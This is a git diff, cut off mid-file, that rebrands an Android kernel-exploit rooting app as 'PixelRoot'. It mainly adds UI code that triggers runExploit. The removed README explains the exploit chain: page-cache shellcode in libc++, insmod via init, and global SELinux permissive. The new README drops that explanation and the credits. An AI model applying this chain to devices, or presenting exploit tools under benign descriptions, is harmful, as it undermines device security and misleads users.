diff --git a/.github/workflows/build-pixelroot.yml b/.github/workflows/build-pixelroot.yml new file mode 100644 index 00000000..d45a986d --- /dev/null +++ b/.github/workflows/build-pixelroot.yml @@ -0,0 +1,52 @@ +name: Build PixelRoot APK + +on: + push: + branches: [ master, main, 'port/*' ] + pull_request: + workflow_dispatch: + +jobs: + build-apk: + runs-on: ubuntu-latest + steps: + - name: Checkout Source + uses: actions/checkout@v4 + + - name: Build LKM Kernel Objects + run: | + set -e + mkdir -p app/src/main/jni/ko + for kmi in android12-5.10 android13-5.10 android13-5.15 android14-5.15 android14-6.1 android15-6.6 android16-6.12 android17-6.18; do + echo "=== Building dfroot-$kmi.ko ===" + docker run --rm --pid=host --network=none \ + -v "$PWD:/proj" \ + -e KMI="$kmi" \ + "ghcr.io/ylarod/ddk-min:${kmi}-20260828" \ + bash -c 'set -e; cd /proj/lkm; make -j$(nproc); cp dfroot.ko /proj/app/src/main/jni/ko/dfroot-$KMI.ko; make clean' + done + sudo chmod -R a+rwX app/src/main/jni/ko/ + ls -lh app/src/main/jni/ko/ + + - name: Set up JDK 17 + uses: actions/setup-java@v4 + with: + java-version: '17' + distribution: 'temurin' + + - name: Accept Android SDK Licenses + run: | + SDKMGR=$(find "$ANDROID_HOME/cmdline-tools" -name sdkmanager | head -n 1) + yes | "$SDKMGR" --licenses >/dev/null 2>&1 || true + + - name: Grant Execute Permission for Gradlew + run: chmod +x gradlew + + - name: Build PixelRoot Debug APK + run: ./gradlew assembleDebug --no-daemon + + - name: Upload PixelRoot APK Artifact + uses: actions/upload-artifact@v4 + with: + name: PixelRoot-1.0.0-APK + path: app/build/outputs/apk/debug/*.apk diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml deleted file mode 100644 index ff043bdb..00000000 --- a/.github/workflows/build.yml +++ /dev/null @@ -1,109 +0,0 @@ -name: Build - -on: - push: - branches: [master, main] - tags: ['v*'] - pull_request: - branches: [master, main] - workflow_dispatch: - -jobs: - build-lkms: - name: LKMs / ${{ matrix.kmi }} - runs-on: ubuntu-latest - strategy: - matrix: - kmi: - - android12-5.10 - - android13-5.10 - - android13-5.15 - - android14-5.15 - - android14-6.1 - - android15-6.6 - - android16-6.12 - - android17-6.18 - container: - image: ghcr.io/ylarod/ddk-min:${{ matrix.kmi }}-20260828 - options: --privileged - steps: - - uses: actions/checkout@v7 - - - name: Build dfroot.ko - run: | - cd lkm - make -j$(nproc) - llvm-objcopy --strip-unneeded \ - -R .comment -R .note.gnu.build-id -R .note.gnu.property \ - -R .note.Linux -R .note.GNU-stack \ - -R .BTF -R .BTF.base -R .llvm_addrsig \ - -R .hyp.text -R .hyp.bss -R .hyp.rodata -R .hyp.event_ids \ - -R .hyp.patchable_function_entries -R .hyp.data dfroot.ko - mkdir -p $GITHUB_WORKSPACE/out - cp dfroot.ko $GITHUB_WORKSPACE/out/dfroot-${{ matrix.kmi }}.ko - make clean - - - name: Upload dfroot.ko - uses: actions/upload-artifact@v7 - with: - name: df-lkm-${{ matrix.kmi }} - path: out/dfroot-${{ matrix.kmi }}.ko - - build-dfroot: - needs: build-lkms - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v7 - - - name: Validate signing config - if: github.event_name != 'pull_request' - run: | - if [ "${{ secrets.KEYSTORE }}" = "" ]; then - echo "::error::Signing secrets not configured. KEYSTORE secret is required for release builds." - exit 1 - fi - - - name: Create signing.properties - if: github.event_name != 'pull_request' - run: | - echo KEYSTORE_FILE=../keystore.jks > signing.properties - echo KEYSTORE_PASSWORD=${{ secrets.KEYSTORE_PASSWORD }} >> signing.properties - echo KEY_ALIAS=${{ secrets.KEY_ALIAS }} >> signing.properties - echo KEY_PASSWORD=${{ secrets.KEY_PASSWORD }} >> signing.properties - echo ${{ secrets.KEYSTORE }} | base64 --decode > keystore.jks - - - name: Download DF LKMs - uses: actions/download-artifact@v7 - with: - pattern: df-lkm-* - merge-multiple: true - path: app/src/main/jni/ko/ - - - uses: actions/setup-java@v6 - with: - distribution: temurin - java-version: 21 - - - uses: gradle/actions/setup-gradle@v6 - - - name: Build DFRoot APK - run: | - if [ "${{ github.event_name }}" = "pull_request" ]; then - ./gradlew :app:assembleDebug - else - ./gradlew :app:assembleRelease - fi - - - name: Upload DFRoot APK - uses: actions/upload-artifact@v7 - with: - name: DFRoot - path: | - app/build/outputs/apk/release/DFRoot_*.apk - app/build/outputs/apk/debug/DFRoot_*.apk - - - name: Create GitHub Release - if: startsWith(github.ref, 'refs/tags/') - uses: softprops/action-gh-release@v1 - with: - files: app/build/outputs/apk/release/DFRoot_*.apk diff --git a/.gitignore b/.gitignore index e09ea513..40d8be6a 100644 --- a/.gitignore +++ b/.gitignore @@ -30,3 +30,13 @@ lkm/Module.symvers out/ app/src/main/jni/splicehelper app/src/main/jni/ko/*.ko + +# build artefacts +*.zip +*.tar.md5 +*.img +*.img.lz4 +*.elf +*.bin +*.html +ref/ diff --git a/README.md b/README.md index 4198915a..9e681ef7 100644 --- a/README.md +++ b/README.md @@ -1,94 +1,8 @@ -

- -

+# PixelRoot -# DFRoot [DirtyFrag (CVE-2026-43284)] - -DFRoot is an Android rooting tool that exploits CVE-2026-43284 (DirtyFrag) — a kernel page cache write primitive — to load a custom kernel module without requiring an unlocked bootloader. It is intentionally designed to be SU Manager agnostic and works with any KernelSU-compatible SU manager. - -> [!IMPORTANT] -> Before hitting that fork button, consider making a pull request instead :) - -## FAQ - -**Q: Log says patching failed and that my device isn't vulnerable** - -A: Sorry, there is no fix. Either: - - Your device's kernel is too new - - Your device manufacturer backported the official mitigation - - [Accidental mitigation](https://github.com/V4bel/dirtyfrag/issues/23#issuecomment-4405314290) (typically seen on kernel 6.1) - -**Q: Log says "SUCCESS" or "ksud exited with error", but I don't have root** - -A: First, try disabling "Auto Soft Reboot" in DFRoot settings if you have it enabled, otherwise https://github.com/diabl0w/DFRoot/discussions/69 - -**Q: I installed a module and now I can't launch root without crashing** - -A: Toggle "Disable KSU Modules" in DFRoot settings - -**Q: I installed a module and have "Start at Boot" enabled and now I am bootlooping** - -A: Typically Android will detect bootloops and boot you into Safe Mode, otherwise you can usually hold the Volume Down button during boot to enter safe mode. From there, disable "Start on Boot" and enable "Disable KSU Modules" in DFRoot settings or just uninstall DFRoot until you stabilize. - -## Usage - -> [!WARNING] -> I am not responsible for any damage to your device. - -1. Install [DFRoot](https://github.com/diabl0w/DFRoot/releases/latest) -2. Install a SU Manager from below: - - Samsung: - - [diabl0w's KernelSU](https://github.com/diabl0w/KernelSU/releases/latest) - - Other: - - [KernelSU](https://github.com/tiann/KernelSU/releases/latest) - - [KernelSU-Next](https://github.com/KernelSU-Next/KernelSU-Next/releases/latest) - - [KowSU](https://github.com/KOWX712/KernelSU/releases/latest) - -> If you have a custom KernelSU fork for a specific manufacturer, please make a pull request to add it here. +Monochrome OLED root launcher, execution log viewer, and standalone `/data/adb/ksud` module manager for Android. ## Features - -- Start on Boot -- Automatic soft reboot (if `late-load --soft-reboot` supported by your SU Manager) -- RO Partition Protection -- Disable all KernelSU modules, to recover from a broken one -- Shizuku not needed — regain root without WiFi! - -## How it works - -The Android kernel decrypts AES-CBC ESP packets directly into the page cache of files open for `splice()`. By crafting `IV = AES_ECB_DEC(key, current_content) ⊕ desired_content`, any 16-byte-aligned block in a mapped shared library can be overwritten without write permission and without copy-on-write. - -The exploit uses this primitive to patch shellcode into `libc++.so` in the kernel's page cache. The next privileged call to the hooked function runs the shellcode, which loads our custom kernel module via `insmod`. - -### Exploit chain - -1. **IpSec transform** — App allocates a `UdpEncapsulationSocket` + SPI and builds an AES-CBC/HMAC-SHA256 ESP transform via `IpSecManager`. - -2. **splicehelper → crash_dump64** — The splicehelper binary is spliced into `crash_dump64` via the CBC primitive. `crash_dump64` runs in the `crash_dump` SELinux domain (via exec label transition), which can open `vendor_file` labeled files (untrusted_app context cannot read these files so we need this bridge). The splicehelper serves two modes: splice mode (pipe a 16-byte page chunk out to the parent for write) and read mode (`argv[3]="r"`, write 16 bytes of file content to a pipe fd for IV computation). - -3. **dfroot.ko → vendor_file** — The kernel module is written via the crash_dump bridge (splicehelper splice mode) into a `vendor_file`-labeled file. - -4. **libc++ hook** (fires in init, uid=0, tid=1) — Shellcode is patched into `libc++.so` at `std::ostream::sentry::sentry()` (`_ZNSt3__113basic_ostreamIcNS_11char_traitsIcEEE6sentryC1ERS3_`). Triggered by: `createOrphanProcess()` double-forks so the grandchild is adopted by PID 1 (init); when init reaps the orphan its main thread (tid=1) calls through the hooked function. The shellcode: - - Checks `getuid()==0` and `gettid()==1`; returns immediately otherwise - - Creates `/dev/df` as a one-shot mutex (O_CREAT|O_EXCL) to prevent re-entry - - Clones a worker child (parent returns to init immediately) - - Worker forks a grandchild; grandchild writes `u:r:vendor_modprobe:s0` to `/proc/self/attr/exec` then execs `/vendor/bin/insmod ` - -5. **dfroot.ko init** (runs as `vendor_modprobe`, uid=0) — The KO is loaded by `insmod` in the `vendor_modprobe` SELinux domain: - - Writes `false` to `selinux_state` (global permissive) - - Bypasses DEFEX via kprobes (if applicable) - - Calls `call_usermodehelper` to run our custom bootstrap code - -6. **bootstrap.c** — performs various functions and finally launches the su daemon from your installed SU Manager. - -## Building - -```sh -make -``` - -## Credits - -- Original PoC and various code: https://github.com/lsposed/lspromise -- SELinux Permissive kernel modules and various code: https://github.com/polygraphene/DFReroot -- Unprivileged XFRM socket method: https://github.com/combeng6th/DirtyInit +- **Pure OLED Monochrome UI:** High-contrast `#000000` black and white theme with custom rounded-crosshair iconography. +- **3-Tab Carousel Navigation:** Smooth horizontal swipe and bottom-pill navigation across **Launcher**, **Root Log**, and **Modules**. +- **Standalone Module Control:** View `/data/adb/modules`, toggle module states, and install module `.zip` packages directly via `/data/adb/ksud`. diff --git a/app/build.gradle.kts b/app/build.gradle.kts index 2f1ce689..56a960b0 100644 --- a/app/build.gradle.kts +++ b/app/build.gradle.kts @@ -17,11 +17,11 @@ android { } defaultConfig { - applicationId = "df.root" + applicationId = "com.deltabsolutezero.pixelroot" minSdk = 32 targetSdk = 37 versionCode = 407 - versionName = "4.7" + versionName = "1.0.0" ndk { abiFilters += listOf("arm64-v8a") @@ -29,11 +29,13 @@ android { } signingConfigs { - create("release") { - storeFile = file(signingProps.getProperty("KEYSTORE_FILE")) - storePassword = signingProps.getProperty("KEYSTORE_PASSWORD") - keyAlias = signingProps.getProperty("KEY_ALIAS") - keyPassword = signingProps.getProperty("KEY_PASSWORD") + if (signingProps.getProperty("KEYSTORE_FILE") != null) { + create("release") { + storeFile = file(signingProps.getProperty("KEYSTORE_FILE")) + storePassword = signingProps.getProperty("KEYSTORE_PASSWORD") + keyAlias = signingProps.getProperty("KEY_ALIAS") + keyPassword = signingProps.getProperty("KEY_PASSWORD") + } } } @@ -43,7 +45,7 @@ android { signingConfig = signingConfigs.getByName("debug") } release { - signingConfig = signingConfigs.getByName("release") + signingConfig = signingConfigs.findByName("release") ?: signingConfigs.getByName("debug") isMinifyEnabled = true isShrinkResources = true proguardFiles(getDefaultProguardFile("proguard-android-optimize.txt"), "proguard-rules.pro") @@ -75,7 +77,7 @@ android { androidComponents { onVariants { variant -> variant.outputs.forEach { output -> - output.outputFileName.set(output.versionName.map { vn -> "DFRoot_${vn}.apk" }) + output.outputFileName.set(output.versionName.map { vn -> "PixelRoot_${vn}.apk" }) } } } diff --git a/app/src/main/AndroidManifest.xml b/app/src/main/AndroidManifest.xml index ed266c0c..1215a3a1 100644 --- a/app/src/main/AndroidManifest.xml +++ b/app/src/main/AndroidManifest.xml @@ -7,7 +7,7 @@ { - outputView.append(msg); - outputScroll.post(() -> outputScroll.fullScroll(View.FOCUS_DOWN)); + if (outputView != null) { + outputView.append(msg); + outputScroll.post(() -> outputScroll.fullScroll(View.FOCUS_DOWN)); + } + if (previewLogView != null) { + String full = outputView != null ? outputView.getText().toString().trim() : msg.trim(); + String[] lines = full.split("\n"); + int start = Math.max(0, lines.length - 4); + StringBuilder sb = new StringBuilder(); + for (int i = start; i < lines.length; i++) { + if (sb.length() > 0) sb.append("\n"); + sb.append(lines[i]); + } + previewLogView.setText(sb.toString()); + } }); } @@ -57,15 +105,588 @@ public void report(String msg) { protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); mDeCtx = createDeviceProtectedStorageContext(); - setContentView(R.layout.activity_main); - getActionBar().setSubtitle("@diabl0w github/xda"); + if (getActionBar() != null) { + getActionBar().setTitle("PixelRoot"); + getActionBar().setSubtitle("Monochrome SU & KernelSU Bridge"); + } + + buildCarouselUi(); + setupSuManagerSpinner(); + updateRunButton(); + refreshRootStatusAndModules(); + } + + private int dp(int value) { + return Math.round(TypedValue.applyDimension( + TypedValue.COMPLEX_UNIT_DIP, value, getResources().getDisplayMetrics())); + } + + private GradientDrawable roundedBox(int fillColor, int strokeColor, int radiusDp) { + GradientDrawable gd = new GradientDrawable(); + gd.setColor(fillColor); + gd.setCornerRadius(dp(radiusDp)); + if (strokeColor != Color.TRANSPARENT) { + gd.setStroke(dp(1), strokeColor); + } + return gd; + } + + private void buildCarouselUi() { + LinearLayout root = new LinearLayout(this); + root.setOrientation(LinearLayout.VERTICAL); + root.setBackgroundColor(Color.BLACK); + root.setFitsSystemWindows(true); + + carouselPager = new CarouselPager(this, dp(12)); + LinearLayout.LayoutParams pagerLp = new LinearLayout.LayoutParams( + ViewGroup.LayoutParams.MATCH_PARENT, 0, 1f); + carouselPager.setLayoutParams(pagerLp); + + carouselPager.addView(buildLauncherPage()); + carouselPager.addView(buildRootLogPage()); + carouselPager.addView(buildModulesPage()); + + View divider = new View(this); + divider.setLayoutParams(new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, dp(1))); + divider.setBackgroundColor(Color.parseColor("#1C1C1C")); + + View bottomBar = buildBottomNavBar(); + + root.addView(carouselPager); + root.addView(divider); + root.addView(bottomBar); + setContentView(root); + + carouselPager.setPageListener(new CarouselPager.OnPageChangeListener() { + @Override + public void onPageScrolled(float positionOffsetTotal) { + updateNavPillPosition(positionOffsetTotal); + } + + @Override + public void onPageSelected(int page) { + updateNavSelection(page); + if (page == 2) { + refreshRootStatusAndModules(); + } + } + }); + updateNavSelection(0); + } + + private View buildLauncherPage() { + ScrollView scroll = new ScrollView(this); + scroll.setFillViewport(true); + + LinearLayout container = new LinearLayout(this); + container.setOrientation(LinearLayout.VERTICAL); + container.setPadding(dp(16), dp(14), dp(16), dp(16)); + + // Hero Card with Crosshair Emblem + LinearLayout heroCard = new LinearLayout(this); + heroCard.setOrientation(LinearLayout.HORIZONTAL); + heroCard.setGravity(Gravity.CENTER_VERTICAL); + heroCard.setPadding(dp(16), dp(16), dp(16), dp(16)); + heroCard.setBackground(roundedBox(Color.parseColor("#0E0E0E"), Color.parseColor("#242424"), 20)); + + CrosshairLogoView logo = new CrosshairLogoView(this); + LinearLayout.LayoutParams logoLp = new LinearLayout.LayoutParams(dp(44), dp(44)); + logoLp.rightMargin = dp(14); + heroCard.addView(logo, logoLp); + + LinearLayout heroTextCol = new LinearLayout(this); + heroTextCol.setOrientation(LinearLayout.VERTICAL); + heroTextCol.setLayoutParams(new LinearLayout.LayoutParams(0, ViewGroup.LayoutParams.WRAP_CONTENT, 1f)); + + TextView heroTitle = new TextView(this); + heroTitle.setText("PixelRoot"); + heroTitle.setTextColor(Color.WHITE); + heroTitle.setTextSize(TypedValue.COMPLEX_UNIT_SP, 19); + heroTitle.setTypeface(Typeface.DEFAULT_BOLD); + + TextView heroSub = new TextView(this); + heroSub.setText(System.getProperty("os.version", "5.15.189-android13-8")); + heroSub.setTextColor(Color.parseColor("#9E9E9E")); + heroSub.setTextSize(TypedValue.COMPLEX_UNIT_SP, 12); + heroSub.setSingleLine(true); + heroSub.setEllipsize(TextUtils.TruncateAt.END); + + heroTextCol.addView(heroTitle); + heroTextCol.addView(heroSub); + heroCard.addView(heroTextCol); + + statusBadgeView = new TextView(this); + statusBadgeView.setText("CHECKING"); + statusBadgeView.setTextColor(Color.WHITE); + statusBadgeView.setTextSize(TypedValue.COMPLEX_UNIT_SP, 11); + statusBadgeView.setTypeface(Typeface.DEFAULT_BOLD); + statusBadgeView.setPadding(dp(10), dp(5), dp(10), dp(5)); + statusBadgeView.setBackground(roundedBox(Color.parseColor("#1D1D1D"), Color.parseColor("#333333"), 12)); + heroCard.addView(statusBadgeView); + + container.addView(heroCard); + + // SU Manager Card + LinearLayout managerCard = new LinearLayout(this); + managerCard.setOrientation(LinearLayout.VERTICAL); + managerCard.setPadding(dp(16), dp(14), dp(16), dp(12)); + managerCard.setBackground(roundedBox(Color.parseColor("#0E0E0E"), Color.parseColor("#242424"), 20)); + LinearLayout.LayoutParams mgrLp = new LinearLayout.LayoutParams( + ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.WRAP_CONTENT); + mgrLp.topMargin = dp(12); + managerCard.setLayoutParams(mgrLp); + + TextView mgrLabel = new TextView(this); + mgrLabel.setText("SU Manager Bridge"); + mgrLabel.setTextColor(Color.parseColor("#BDBDBD")); + mgrLabel.setTextSize(TypedValue.COMPLEX_UNIT_SP, 12); + mgrLabel.setTypeface(Typeface.DEFAULT_BOLD); + managerCard.addView(mgrLabel); + + spinnerSuManager = new Spinner(this); + LinearLayout.LayoutParams spLp = new LinearLayout.LayoutParams( + ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.WRAP_CONTENT); + spLp.topMargin = dp(6); + spinnerSuManager.setLayoutParams(spLp); + managerCard.addView(spinnerSuManager); + + container.addView(managerCard); + + // Primary Monochrome Action Button + btnRun = new Button(this); + btnRun.setText("Launch Root"); + btnRun.setTextSize(TypedValue.COMPLEX_UNIT_SP, 15); + btnRun.setTypeface(Typeface.DEFAULT_BOLD); + btnRun.setAllCaps(false); + LinearLayout.LayoutParams btnLp = new LinearLayout.LayoutParams( + ViewGroup.LayoutParams.MATCH_PARENT, dp(52)); + btnLp.topMargin = dp(14); + btnRun.setLayoutParams(btnLp); + btnRun.setOnClickListener(v -> { + btnRun.setEnabled(false); + outputView.setText(""); + previewLogView.setText("Starting privilege escalation..."); + carouselPager.setCurrentPage(1, true); + mExec.execute(this::runExploit); + }); + container.addView(btnRun); + + // Live Log Preview Card + LinearLayout previewCard = new LinearLayout(this); + previewCard.setOrientation(LinearLayout.VERTICAL); + previewCard.setPadding(dp(16), dp(14), dp(16), dp(14)); + previewCard.setBackground(roundedBox(Color.parseColor("#0A0A0A"), Color.parseColor("#202020"), 20)); + LinearLayout.LayoutParams prevLp = new LinearLayout.LayoutParams( + ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.WRAP_CONTENT); + prevLp.topMargin = dp(14); + previewCard.setLayoutParams(prevLp); + previewCard.setOnClickListener(v -> carouselPager.setCurrentPage(1, true)); + + LinearLayout prevHeader = new LinearLayout(this); + prevHeader.setOrientation(LinearLayout.HORIZONTAL); + TextView prevTitle = new TextView(this); + prevTitle.setText("Live Execution Preview"); + prevTitle.setTextColor(Color.WHITE); + prevTitle.setTextSize(TypedValue.COMPLEX_UNIT_SP, 13); + prevTitle.setTypeface(Typeface.DEFAULT_BOLD); + prevTitle.setLayoutParams(new LinearLayout.LayoutParams(0, ViewGroup.LayoutParams.WRAP_CONTENT, 1f)); + + TextView prevOpen = new TextView(this); + prevOpen.setText("Open Log >"); + prevOpen.setTextColor(Color.parseColor("#9E9E9E")); + prevOpen.setTextSize(TypedValue.COMPLEX_UNIT_SP, 12); - btnRun = findViewById(R.id.btnRun); - outputScroll = findViewById(R.id.outputScroll); - outputView = findViewById(R.id.outputView); - spinnerSuManager = findViewById(R.id.spinnerSuManager); + prevHeader.addView(prevTitle); + prevHeader.addView(prevOpen); + previewCard.addView(prevHeader); + previewLogView = new TextView(this); + previewLogView.setText("Swipe left or tap a tab below to switch views."); + previewLogView.setTextColor(Color.parseColor("#B0B0B0")); + previewLogView.setTypeface(Typeface.MONOSPACE); + previewLogView.setTextSize(TypedValue.COMPLEX_UNIT_SP, 11); + LinearLayout.LayoutParams prevTxtLp = new LinearLayout.LayoutParams( + ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.WRAP_CONTENT); + prevTxtLp.topMargin = dp(8); + previewLogView.setLayoutParams(prevTxtLp); + previewCard.addView(previewLogView); + + container.addView(previewCard); + scroll.addView(container); + return scroll; + } + + private View buildRootLogPage() { + LinearLayout page = new LinearLayout(this); + page.setOrientation(LinearLayout.VERTICAL); + page.setPadding(dp(16), dp(14), dp(16), dp(14)); + + LinearLayout header = new LinearLayout(this); + header.setOrientation(LinearLayout.HORIZONTAL); + header.setGravity(Gravity.CENTER_VERTICAL); + + TextView title = new TextView(this); + title.setText("Root Execution Log"); + title.setTextColor(Color.WHITE); + title.setTextSize(TypedValue.COMPLEX_UNIT_SP, 16); + title.setTypeface(Typeface.DEFAULT_BOLD); + title.setLayoutParams(new LinearLayout.LayoutParams(0, ViewGroup.LayoutParams.WRAP_CONTENT, 1f)); + header.addView(title); + + TextView btnCopy = new TextView(this); + btnCopy.setText("Copy"); + btnCopy.setTextColor(Color.BLACK); + btnCopy.setTextSize(TypedValue.COMPLEX_UNIT_SP, 12); + btnCopy.setTypeface(Typeface.DEFAULT_BOLD); + btnCopy.setPadding(dp(12), dp(6), dp(12), dp(6)); + btnCopy.setBackground(roundedBox(Color.WHITE, Color.TRANSPARENT, 14)); + btnCopy.setOnClickListener(v -> { + ClipboardManager cm = (ClipboardManager) getSystemService(Context.CLIPBOARD_SERVICE); + if (cm != null) { + cm.setPrimaryClip(ClipData.newPlainText("PixelRoot Log", outputView.getText())); + Toast.makeText(this, "Log copied", Toast.LENGTH_SHORT).show(); + } + }); + header.addView(btnCopy); + + TextView btnClear = new TextView(this); + btnClear.setText("Clear"); + btnClear.setTextColor(Color.WHITE); + btnClear.setTextSize(TypedValue.COMPLEX_UNIT_SP, 12); + btnClear.setPadding(dp(12), dp(6), dp(12), dp(6)); + btnClear.setBackground(roundedBox(Color.parseColor("#181818"), Color.parseColor("#2E2E2E"), 14)); + LinearLayout.LayoutParams clrLp = new LinearLayout.LayoutParams( + ViewGroup.LayoutParams.WRAP_CONTENT, ViewGroup.LayoutParams.WRAP_CONTENT); + clrLp.leftMargin = dp(8); + btnClear.setLayoutParams(clrLp); + btnClear.setOnClickListener(v -> outputView.setText("")); + header.addView(btnClear); + + page.addView(header); + + outputScroll = new ScrollView(this); + outputScroll.setBackground(roundedBox(Color.parseColor("#0A0A0A"), Color.parseColor("#222222"), 18)); + outputScroll.setPadding(dp(12), dp(12), dp(12), dp(12)); + LinearLayout.LayoutParams scLp = new LinearLayout.LayoutParams( + ViewGroup.LayoutParams.MATCH_PARENT, 0, 1f); + scLp.topMargin = dp(12); + outputScroll.setLayoutParams(scLp); + + outputView = new TextView(this); + outputView.setLayoutParams(new ViewGroup.LayoutParams( + ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.WRAP_CONTENT)); + outputView.setTypeface(Typeface.MONOSPACE); + outputView.setTextSize(TypedValue.COMPLEX_UNIT_SP, 12); + outputView.setTextColor(Color.parseColor("#EAEAEA")); + outputView.setTextIsSelectable(true); + outputView.setText("[PIXELROOT] Ready. Kernel: " + System.getProperty("os.version", "unknown") + "\n"); + + outputScroll.addView(outputView); + page.addView(outputScroll); + return page; + } + + private View buildModulesPage() { + LinearLayout page = new LinearLayout(this); + page.setOrientation(LinearLayout.VERTICAL); + page.setPadding(dp(16), dp(14), dp(16), dp(14)); + + LinearLayout header = new LinearLayout(this); + header.setOrientation(LinearLayout.HORIZONTAL); + header.setGravity(Gravity.CENTER_VERTICAL); + + LinearLayout titleCol = new LinearLayout(this); + titleCol.setOrientation(LinearLayout.VERTICAL); + titleCol.setLayoutParams(new LinearLayout.LayoutParams(0, ViewGroup.LayoutParams.WRAP_CONTENT, 1f)); + + TextView title = new TextView(this); + title.setText("KernelSU Modules"); + title.setTextColor(Color.WHITE); + title.setTextSize(TypedValue.COMPLEX_UNIT_SP, 16); + title.setTypeface(Typeface.DEFAULT_BOLD); + + modulesHeaderSubtitle = new TextView(this); + modulesHeaderSubtitle.setText("/data/adb/modules"); + modulesHeaderSubtitle.setTextColor(Color.parseColor("#9E9E9E")); + modulesHeaderSubtitle.setTextSize(TypedValue.COMPLEX_UNIT_SP, 12); + + titleCol.addView(title); + titleCol.addView(modulesHeaderSubtitle); + header.addView(titleCol); + + TextView btnInstall = new TextView(this); + btnInstall.setText("+ Install Zip"); + btnInstall.setTextColor(Color.BLACK); + btnInstall.setTextSize(TypedValue.COMPLEX_UNIT_SP, 12); + btnInstall.setTypeface(Typeface.DEFAULT_BOLD); + btnInstall.setPadding(dp(14), dp(8), dp(14), dp(8)); + btnInstall.setBackground(roundedBox(Color.WHITE, Color.TRANSPARENT, 16)); + btnInstall.setOnClickListener(v -> { + Intent pick = new Intent(Intent.ACTION_OPEN_DOCUMENT); + pick.addCategory(Intent.CATEGORY_OPENABLE); + pick.setType("application/zip"); + startActivityForResult(pick, REQ_INSTALL_MODULE); + }); + header.addView(btnInstall); + + page.addView(header); + + ScrollView modScroll = new ScrollView(this); + LinearLayout.LayoutParams scLp = new LinearLayout.LayoutParams( + ViewGroup.LayoutParams.MATCH_PARENT, 0, 1f); + scLp.topMargin = dp(12); + modScroll.setLayoutParams(scLp); + + modulesListContainer = new LinearLayout(this); + modulesListContainer.setOrientation(LinearLayout.VERTICAL); + modScroll.addView(modulesListContainer); + page.addView(modScroll); + + return page; + } + + private View buildBottomNavBar() { + FrameLayout barWrapper = new FrameLayout(this); + barWrapper.setBackgroundColor(Color.parseColor("#0A0A0A")); + barWrapper.setPadding(dp(12), dp(8), dp(12), dp(10)); + + // Sliding monochrome pill indicator + navPillIndicator = new View(this); + navPillIndicator.setBackground(roundedBox(Color.WHITE, Color.TRANSPARENT, 20)); + FrameLayout.LayoutParams pillLp = new FrameLayout.LayoutParams(dp(84), dp(34)); + pillLp.gravity = Gravity.TOP | Gravity.START; + navPillIndicator.setLayoutParams(pillLp); + barWrapper.addView(navPillIndicator); + + LinearLayout row = new LinearLayout(this); + row.setOrientation(LinearLayout.HORIZONTAL); + row.setWeightSum(3f); + row.setLayoutParams(new FrameLayout.LayoutParams( + ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.WRAP_CONTENT)); + + String[] titles = {"Launcher", "Root Log", "Modules"}; + for (int i = 0; i < 3; i++) { + final int index = i; + LinearLayout tab = new LinearLayout(this); + tab.setOrientation(LinearLayout.VERTICAL); + tab.setGravity(Gravity.CENTER); + tab.setLayoutParams(new LinearLayout.LayoutParams(0, ViewGroup.LayoutParams.WRAP_CONTENT, 1f)); + tab.setOnClickListener(v -> carouselPager.setCurrentPage(index, true)); + + CrosshairTabIcon icon = new CrosshairTabIcon(this, i); + LinearLayout.LayoutParams iconLp = new LinearLayout.LayoutParams(dp(24), dp(34)); + tab.addView(icon, iconLp); + navIcons[i] = icon; + + TextView label = new TextView(this); + label.setText(titles[i]); + label.setTextSize(TypedValue.COMPLEX_UNIT_SP, 11); + label.setGravity(Gravity.CENTER); + LinearLayout.LayoutParams lblLp = new LinearLayout.LayoutParams( + ViewGroup.LayoutParams.WRAP_CONTENT, ViewGroup.LayoutParams.WRAP_CONTENT); + lblLp.topMargin = dp(4); + tab.addView(label, lblLp); + navLabels[i] = label; + + row.addView(tab); + } + + barWrapper.addView(row); + barWrapper.post(() -> updateNavPillPosition(carouselPager.getCurrentPage())); + return barWrapper; + } + + private void updateNavPillPosition(float pageFloat) { + if (navPillIndicator == null || navPillIndicator.getParent() == null) return; + View parent = (View) navPillIndicator.getParent(); + int innerWidth = parent.getWidth() - parent.getPaddingLeft() - parent.getPaddingRight(); + if (innerWidth <= 0) return; + float tabWidth = innerWidth / 3f; + float pillWidth = navPillIndicator.getWidth(); + float x = (tabWidth * pageFloat) + (tabWidth - pillWidth) / 2f; + navPillIndicator.setTranslationX(x); + } + + private void updateNavSelection(int selected) { + for (int i = 0; i < 3; i++) { + boolean active = (i == selected); + if (navIcons[i] != null) navIcons[i].setSelectedState(active); + if (navLabels[i] != null) { + navLabels[i].setTextColor(active ? Color.WHITE : Color.parseColor("#888888")); + navLabels[i].setTypeface(active ? Typeface.DEFAULT_BOLD : Typeface.DEFAULT); + } + } + updateNavPillPosition(selected); + } + + private void refreshRootStatusAndModules() { + mExec.execute(() -> { + String idOut = runRootCmd("id 2>/dev/null").trim(); + String ksuVer = runRootCmd("/data/adb/ksud -V 2>/dev/null || su -v 2>/dev/null").trim(); + boolean rooted = idOut.contains("uid=0") || !ksuVer.isEmpty() || new File("/dev/df").exists(); + mIsRootActive = rooted; + String rawMods = runRootCmd("ls -1 /data/adb/modules 2>/dev/null"); + + List items = new ArrayList<>(); + if (!rawMods.trim().isEmpty()) { + for (String dirName : rawMods.trim().split("\n")) { + String id = dirName.trim(); + if (id.isEmpty()) continue; + String prop = runRootCmd("cat /data/adb/modules/" + id + "/module.prop 2>/dev/null"); + String flags = runRootCmd("[ -f /data/adb/modules/" + id + "/disable ] && echo disabled; [ -f /data/adb/modules/" + id + "/remove ] && echo removed"); + items.add(ModuleItem.parse(id, prop, flags)); + } + } + + mMain.post(() -> { + if (statusBadgeView != null) { + if (rooted) { + statusBadgeView.setText("ACTIVE"); + statusBadgeView.setTextColor(Color.BLACK); + statusBadgeView.setBackground(roundedBox(Color.WHITE, Color.TRANSPARENT, 12)); + } else { + statusBadgeView.setText("STANDBY"); + statusBadgeView.setTextColor(Color.WHITE); + statusBadgeView.setBackground(roundedBox(Color.parseColor("#1D1D1D"), Color.parseColor("#333333"), 12)); + } + } + if (modulesHeaderSubtitle != null) { + 